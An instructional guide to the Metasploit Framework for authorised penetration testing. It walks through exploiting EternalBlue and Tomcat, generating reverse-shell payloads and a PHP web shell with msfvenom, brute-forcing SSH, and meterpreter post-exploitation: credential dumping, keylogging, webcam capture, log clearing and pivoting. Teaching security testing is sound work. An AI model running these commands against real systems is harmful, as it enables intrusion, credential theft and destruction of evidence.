Metasploit Framework: Penetration Testing Guide
Master the Metasploit Framework for professional penetration testing. This guide covers msfconsole operation, exploit modules, payload generation, meterpreter post-exploitation, and real-world testing workflows from the command line.
Dai Aoki
CEO at init, Inc. / CTO at US & JP startups / Creator of WebTerm
Quick Reference
Console Basics
msfconsoleLaunch the Metasploit consolehelpShow available commandssearch <keyword>Search for modulesuse <module>Select a moduleModule Info
infoShow module detailsshow optionsDisplay module optionsshow targetsList available targetsshow payloadsList compatible payloadsConfiguration
set RHOSTS <ip>Set remote target hostset RPORT <port>Set remote target portset LHOST <ip>Set local listener hostset PAYLOAD <name>Set the payload moduleExecution
exploit / runExecute the moduleexploit -jRun exploit as background jobcheckCheck if target is vulnerablebackDeselect current moduleSessions
sessions -lList active sessionssessions -i <id>Interact with a sessionsessions -k <id>Kill a sessionbackgroundBackground current sessionWorkspace & DB
workspaceList workspacesworkspace -a <name>Create new workspacedb_nmap <args>Run Nmap and store resultshosts / servicesView discovered dataDownloadable Image Preview
Overview
The Metasploit Framework (MSF) is the world's most widely used penetration testing platform. Originally created by H.D. Moore in 2003, it is now maintained by Rapid7 as an open-source project. The framework provides a complete environment for developing, testing, and executing exploit code against remote target machines. It includes over 2,300 exploits, 1,300 auxiliary modules, and 600+ payloads covering a broad range of platforms and services.
The primary interface for Metasploit is msfconsole, a powerful command-line shell that provides access to all framework functionality. It supports tab completion, contextual help, database integration, and a modular architecture that makes complex penetration testing workflows manageable and repeatable.
Metasploit organizes its functionality into several module types:
- Exploits - Modules that take advantage of vulnerabilities to gain access
- Payloads - Code delivered to the target after successful exploitation
- Auxiliary - Scanners, fuzzers, and other utility modules
- Post - Post-exploitation modules for data gathering and pivoting
- Encoders - Modules that obfuscate payloads to avoid detection
- Nops - No-operation generators used for padding payloads
Installation
Metasploit Framework comes pre-installed on Kali Linux and Parrot OS. For other distributions and operating systems, you can install it using the official installer or package managers.
# Kali Linux / Parrot OS (pre-installed, update with)
sudo apt update && sudo apt install metasploit-framework
# Ubuntu / Debian - using the official installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# macOS - using Homebrew
brew install metasploit
# Arch Linux
sudo pacman -S metasploit
# Initialize the database (required for workspaces and data storage)
sudo msfdb init
# Verify installation
msfconsole --version
# Launch msfconsole
msfconsolemsfdb init before your first use. You can check the database connection status inside msfconsole with db_status.msfconsole Basics
The msfconsole is the primary interface for interacting with the Metasploit Framework. It provides a centralized console for accessing all modules, managing sessions, and orchestrating penetration tests.
# Launch msfconsole (with banner)
msfconsole
# Launch without banner (faster startup)
msfconsole -q
# Execute a specific resource script on startup
msfconsole -r /path/to/script.rc
# Execute a single command and exit
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; run"
# Check database connectivity
msf6 > db_status
# View all available commands
msf6 > help
# Get help for a specific command
msf6 > help searchWorkspace Management
Workspaces let you organize data from different penetration tests. Each workspace maintains its own set of hosts, services, vulnerabilities, and credentials, keeping engagements separate and manageable.
# List all workspaces (* marks the active one)
msf6 > workspace
# Create a new workspace
msf6 > workspace -a client_pentest_2026
# Switch to an existing workspace
msf6 > workspace client_pentest_2026
# Delete a workspace
msf6 > workspace -d old_project
# Rename a workspace
msf6 > workspace -r old_name new_name
# View hosts discovered in the current workspace
msf6 > hosts
# View services discovered in the current workspace
msf6 > services
# View stored credentials
msf6 > creds
# View identified vulnerabilities
msf6 > vulns
# Import results from an Nmap XML scan
msf6 > db_import /path/to/nmap_scan.xml
# Run Nmap directly and store results in the database
msf6 > db_nmap -sV -sC -O 192.168.1.0/24Searching Modules
Metasploit contains thousands of modules. The search command helps you find exactly what you need using keywords, types, platforms, and other filters.
# Basic keyword search
msf6 > search smb
# Search by module type
msf6 > search type:exploit smb
# Search by platform
msf6 > search platform:windows type:exploit smb
# Search by CVE number
msf6 > search cve:2017-0144
# Search by author
msf6 > search author:hdm
# Search by ranking (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent type:exploit
# Combine multiple filters
msf6 > search type:exploit platform:linux name:apache rank:great
# Search auxiliary scanners
msf6 > search type:auxiliary name:scanner smb
# Search post-exploitation modules for Windows
msf6 > search type:post platform:windowsinfo before running a module against production systems.Module Selection & Configuration
Once you find a module, use use to select it, then configure its options before execution.
# Select a module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# View detailed module information
msf6 exploit(ms17_010_eternalblue) > info
# Show all configurable options
msf6 exploit(ms17_010_eternalblue) > show options
# Set a required option
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
# Set a global option (persists across module changes)
msf6 exploit(ms17_010_eternalblue) > setg LHOST 192.168.1.50
# Unset an option
msf6 exploit(ms17_010_eternalblue) > unset RHOSTS
# Show advanced options
msf6 exploit(ms17_010_eternalblue) > show advanced
# Show evasion options
msf6 exploit(ms17_010_eternalblue) > show evasion
# Go back to the main prompt (deselect module)
msf6 exploit(ms17_010_eternalblue) > back
# Use a recently selected module (by index from search results)
msf6 > use 0Exploit Modules
Exploit modules are the core of Metasploit. They leverage known vulnerabilities in software and services to gain unauthorized access. Each exploit has specific targets, options, and compatible payloads.
Using Exploits
The typical workflow involves selecting an exploit, configuring options, choosing a payload, and executing the attack against the target. Here is a complete walkthrough.
# Step 1: Select the exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# Step 2: Review what the exploit does
msf6 exploit(ms17_010_eternalblue) > info
# Step 3: See required and optional settings
msf6 exploit(ms17_010_eternalblue) > show options
# Step 4: Configure the target
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
# Step 5: Choose a payload
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Step 6: Configure the payload listener
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
# Step 7: Optionally check if the target is vulnerable before exploiting
msf6 exploit(ms17_010_eternalblue) > check
# Step 8: Execute the exploit
msf6 exploit(ms17_010_eternalblue) > exploit
# Run the exploit as a background job
msf6 exploit(ms17_010_eternalblue) > exploit -j
# View active jobs
msf6 > jobs
# Kill a specific job
msf6 > kill 0Payloads
Payloads are the code that runs on the target system after a successful exploit. Metasploit offers three categories of payloads: singles (self-contained), stagers (establish a connection channel), and stages (downloaded by stagers for advanced functionality).
# List all payloads compatible with the current exploit
msf6 exploit(ms17_010_eternalblue) > show payloads
# Common payload types:
# Reverse TCP Meterpreter (most popular - target connects back to attacker)
set PAYLOAD windows/meterpreter/reverse_tcp
# Reverse HTTPS Meterpreter (encrypted, harder to detect)
set PAYLOAD windows/meterpreter/reverse_https
# Bind TCP shell (listener on target, attacker connects to it)
set PAYLOAD windows/meterpreter/bind_tcp
# Staged vs Stageless payloads:
# Staged (uses /) - smaller initial payload, downloads rest in stages
set PAYLOAD windows/meterpreter/reverse_tcp
# Stageless (uses _) - single self-contained payload, more reliable
set PAYLOAD windows/meterpreter_reverse_tcp
# Linux payloads
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set PAYLOAD linux/x64/shell_reverse_tcp
# Generate standalone payloads with msfvenom (outside msfconsole)
# Windows executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# Linux ELF binary
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# PHP web shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
# Python payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
# List all available payload formats
msfvenom --list formats
# List all encoders
msfvenom --list encoderswindows/meterpreter/reverse_tcp) use a forward slash between the payload name and connection type. They send a small first-stage payload that then downloads the full payload. Stageless payloads (e.g., windows/meterpreter_reverse_tcp) use an underscore and contain everything in a single payload. Stageless payloads are more reliable but larger in size.Targets
Many exploits support multiple targets (different OS versions, service packs, or architectures). Selecting the correct target is critical for reliable exploitation.
# List available targets for the current exploit
msf6 exploit(ms17_010_eternalblue) > show targets
# Set a specific target (by ID number)
msf6 exploit(ms17_010_eternalblue) > set TARGET 1
# Target 0 is usually "Automatic" - lets Metasploit fingerprint and choose
msf6 exploit(ms17_010_eternalblue) > set TARGET 0
# Example output of show targets:
# Id Name
# -- ----
# 0 Automatic Target
# 1 Windows 7 x64
# 2 Windows Server 2008 R2 x64
# 3 Windows 8 x64Post-Exploitation
After gaining access to a target system, post-exploitation is where the real value of a penetration test is demonstrated. Metasploit provides extensive tools for privilege escalation, data gathering, persistence, lateral movement, and pivoting.
Meterpreter Sessions
Meterpreter is Metasploit's advanced, dynamically extensible payload. It runs entirely in memory, communicates over encrypted channels, and provides a rich set of commands for interacting with compromised systems.
# === System Information ===
meterpreter > sysinfo # Display system information
meterpreter > getuid # Show current user identity
meterpreter > getpid # Show current process ID
meterpreter > ps # List running processes
meterpreter > ipconfig # Show network configuration (Windows)
meterpreter > ifconfig # Show network configuration (Linux)
meterpreter > route # Display routing table
# === File System Operations ===
meterpreter > pwd # Print working directory
meterpreter > ls # List files in current directory
meterpreter > cd C:\Users # Change directory
meterpreter > download secret.txt /tmp/loot/ # Download file from target
meterpreter > upload /tmp/tool.exe C:\Temp\ # Upload file to target
meterpreter > cat C:\Users\admin\Desktop\notes.txt # Read file contents
meterpreter > search -f *.docx -d C:\Users\ # Search for files
# === Privilege Escalation ===
meterpreter > getsystem # Attempt automatic privilege escalation
meterpreter > getprivs # List available privileges
# === Credential Harvesting ===
meterpreter > hashdump # Dump password hashes (requires SYSTEM)
meterpreter > load kiwi # Load Mimikatz extension
meterpreter > creds_all # Dump all credentials via Mimikatz
meterpreter > creds_msv # Dump MSV credentials
meterpreter > creds_kerberos # Dump Kerberos tickets
# === Persistence & Stealth ===
meterpreter > migrate <PID> # Migrate to another process
meterpreter > timestomp secret.txt -m "01/01/2020 00:00:00" # Modify timestamps
meterpreter > clearev # Clear Windows event logs
# === Screenshot & Keylogging ===
meterpreter > screenshot # Capture a screenshot
meterpreter > keyscan_start # Start capturing keystrokes
meterpreter > keyscan_dump # Dump captured keystrokes
meterpreter > keyscan_stop # Stop the keylogger
meterpreter > webcam_snap # Capture from webcam
# === Session Management ===
meterpreter > background # Background the current session
meterpreter > shell # Drop into a system command shell
meterpreter > exit # Terminate the meterpreter sessionPivoting & Port Forwarding
Pivoting allows you to use a compromised host as a gateway to reach otherwise inaccessible networks. This is essential when internal networks are segmented and not directly reachable from your attacker machine.
# === Route-based Pivoting ===
# Add a route through a meterpreter session to reach an internal subnet
msf6 > route add 10.10.10.0/24 <session_id>
# Verify routes
msf6 > route print
# Remove a route
msf6 > route remove 10.10.10.0/24 <session_id>
# Automatic route addition (adds routes for all subnets visible to the session)
msf6 > use post/multi/manage/autoroute
msf6 post(autoroute) > set SESSION 1
msf6 post(autoroute) > run
# === Port Forwarding via Meterpreter ===
# Forward local port 8080 to internal host 10.10.10.50:80
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50
# List active port forwards
meterpreter > portfwd list
# Remove a specific port forward
meterpreter > portfwd delete -l 8080
# Remove all port forwards
meterpreter > portfwd flush
# === SOCKS Proxy for Dynamic Pivoting ===
# Set up a SOCKS proxy through the session
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > run -j
# Then use proxychains with the SOCKS proxy to tunnel any tool
# (configure /etc/proxychains.conf: socks5 127.0.0.1 1080)
# $ proxychains nmap -sT -Pn 10.10.10.50Practical Examples
The following examples demonstrate common penetration testing workflows using Metasploit. These scenarios assume you have proper authorization to test the target systems.
Vulnerability Scanning
Metasploit's auxiliary modules include a variety of scanners that can identify vulnerable services and gather information without actively exploiting targets.
# === SMB Vulnerability Scanning ===
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > set THREADS 10
msf6 auxiliary(smb_ms17_010) > run
# === Port Scanning ===
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 192.168.1.100
msf6 auxiliary(tcp) > set PORTS 1-1024
msf6 auxiliary(tcp) > set THREADS 20
msf6 auxiliary(tcp) > run
# === Service Version Detection ===
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > run
# === SSH Enumeration ===
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(ssh_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(ssh_version) > run
# === HTTP Service Scanning ===
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(http_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(http_version) > set THREADS 10
msf6 auxiliary(http_version) > run
# === FTP Anonymous Login Check ===
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(anonymous) > run
# === Combined workflow: Nmap scan then exploit discovery ===
msf6 > db_nmap -sV -sC -O -oA initial_scan 192.168.1.0/24
msf6 > hosts # Review discovered hosts
msf6 > services # Review discovered services
msf6 > vulns # Check for auto-detected vulnerabilities
msf6 > analyze # Get module suggestions for discovered hostsService Exploitation
These examples show complete exploitation workflows for common services. Each example follows the full cycle from module selection through to post-exploitation.
# === Example 1: Exploiting a Vulnerable Web Application (Tomcat) ===
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(tomcat_mgr_login) > run
# [+] 192.168.1.100:8080 - Login Successful: tomcat:tomcat
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(tomcat_mgr_upload) > set RHOSTS 192.168.1.100
msf6 exploit(tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(tomcat_mgr_upload) > set HttpPassword tomcat
msf6 exploit(tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(tomcat_mgr_upload) > set LHOST 192.168.1.50
msf6 exploit(tomcat_mgr_upload) > exploit
# === Example 2: SSH Brute Force and Login ===
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(ssh_login) > set USERNAME admin
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(ssh_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(ssh_login) > set THREADS 5
msf6 auxiliary(ssh_login) > run
# === Example 3: Multi/Handler for Catching Reverse Shells ===
# (Used when a payload has been delivered through another vector)
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 0.0.0.0
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j
# [*] Started reverse TCP handler on 0.0.0.0:4444
# Now waiting for the target to execute the payload...
# === Example 4: Post-Exploitation Enumeration ===
# After gaining a meterpreter session:
msf6 > use post/windows/gather/enum_applications
msf6 post(enum_applications) > set SESSION 1
msf6 post(enum_applications) > run
msf6 > use post/windows/gather/enum_logged_on_users
msf6 post(enum_logged_on_users) > set SESSION 1
msf6 post(enum_logged_on_users) > run
msf6 > use post/multi/gather/env
msf6 post(env) > set SESSION 1
msf6 post(env) > runKey Commands Reference
The following table provides a comprehensive reference of the most important msfconsole commands organized by function.
| Command | Description |
|---|---|
| Core Commands | |
| search <keyword> | Search modules by keyword, CVE, platform, or type |
| use <module> | Select and activate a module |
| info | Display detailed information about the selected module |
| show options | Display configurable options for the current module |
| set <option> <value> | Set a module option for the current context |
| setg <option> <value> | Set a global option that persists across modules |
| exploit / run | Execute the selected module |
| back | Deselect the current module and return to main prompt |
| Session Commands | |
| sessions -l | List all active sessions |
| sessions -i <id> | Interact with a specific session |
| sessions -k <id> | Kill a specific session |
| sessions -u <id> | Upgrade a shell session to meterpreter |
| Database Commands | |
| db_status | Check database connection status |
| workspace | Manage workspaces for organizing engagements |
| hosts | View and manage discovered hosts |
| services | View and manage discovered services |
| vulns | View identified vulnerabilities |
| creds | View and manage stored credentials |
| db_nmap <args> | Run Nmap and automatically import results into the database |
| db_import <file> | Import scan results from external tools (Nmap XML, Nessus, etc.) |
| Utility Commands | |
| jobs | List and manage background jobs |
| kill <id> | Terminate a background job |
| resource <file> | Execute commands from a resource script file |
| makerc <file> | Save recent command history to a resource script |
| analyze | Suggest modules based on discovered hosts and services |
Tips & Best Practices
Following these best practices will make your penetration testing engagements more effective, organized, and professional.
1. Always Use Workspaces
Create a dedicated workspace for each engagement or target. This prevents data from different assessments from mixing together and makes reporting much easier. Use workspace -a project_name at the start of every engagement.
2. Use the Database Extensively
Run scans through db_nmap rather than standalone Nmap so results are automatically stored. Use hosts, services, and vulns to review findings. The analyze command can suggest relevant modules based on your stored data.
3. Check Before Exploiting
Many exploit modules support the check command, which verifies whether a target is vulnerable without actually running the exploit. Always use this when available, especially on production systems where a failed exploit could cause service disruption.
4. Use Resource Scripts for Automation
Save repetitive workflows as resource scripts (.rc files). Use makerc to save your current session's commands or write scripts manually. Launch them with msfconsole -r script.rc or resource script.rc inside the console.
5. Use Global Variables for Repeated Settings
Set frequently used options globally with setg. For example, setg LHOST 192.168.1.50 sets your listener address for all modules so you do not have to configure it every time you switch modules.
6. Migrate Meterpreter Sessions Promptly
After gaining a meterpreter session, migrate to a more stable process immediately using migrate <PID>. Target long-running processes like explorer.exe or svchost.exe. This prevents your session from dying if the exploited application crashes or is closed.
7. Document Everything
Use spool /path/to/output.log to log all console activity. Take screenshots with meterpreter's screenshot command. The database also stores loot and notes that you can export later for your final report.
8. Keep the Framework Updated
New exploits and modules are added regularly. Keep your installation current with apt update && apt install metasploit-framework on Debian-based systems or msfupdate if you used the standalone installer.
THREADS option, and avoid running denial-of-service modules unless explicitly scoped. Always coordinate with the client's defensive team if this is a collaborative assessment.Related Tools
Metasploit works best as part of a broader penetration testing toolkit. Here are complementary tools that integrate well with the framework.
| Tool | Purpose | Integration with Metasploit |
|---|---|---|
| Nmap | Network discovery and port scanning | Use db_nmap for direct database integration |
| Burp Suite | Web application security testing | Feed discovered web vulnerabilities into Metasploit exploits |
| sqlmap | SQL injection detection and exploitation | Use sqlmap for SQLi, then Metasploit for deeper system access |
| Nikto | Web server vulnerability scanning | Import Nikto results to identify web-based attack vectors |
| Hydra | Network login brute forcing | Hydra for brute force, Metasploit for post-authentication exploitation |
| Wireshark | Network traffic analysis | Capture and analyze traffic during exploitation |
| Cobalt Strike | Adversary simulation platform | Commercial tool that extends Metasploit with C2 features |
The Metasploit Framework is an indispensable tool for security professionals. By mastering msfconsole, understanding module types, and following structured testing methodologies, you can conduct thorough and effective penetration tests. Remember to always operate within the scope of your authorization, document your findings meticulously, and prioritize responsible disclosure of any vulnerabilities you discover.
Official Documentation
For authoritative information, refer to the official documentation:
Related Articles
Nmap: Network Scanner & Security Auditing Tool Guide
Comprehensive guide to Nmap for network discovery and security auditing. Learn port scanning, OS detection, NSE scripts, and practical penetration testing workflows.
sqlmap: SQL Injection Testing Tool Guide
Complete guide to sqlmap for automated SQL injection detection and exploitation. Learn database enumeration, data extraction, and advanced tamper techniques.
Burp Suite: Web Application Security Testing Guide
Complete guide to Burp Suite for web application security testing. Learn proxy interception, scanning, intruder attacks, and REST API testing from the CLI.
Nikto: Web Server Vulnerability Scanner Guide
Complete guide to Nikto web server scanner. Learn vulnerability scanning, SSL testing, authentication bypass detection, and automated security assessments.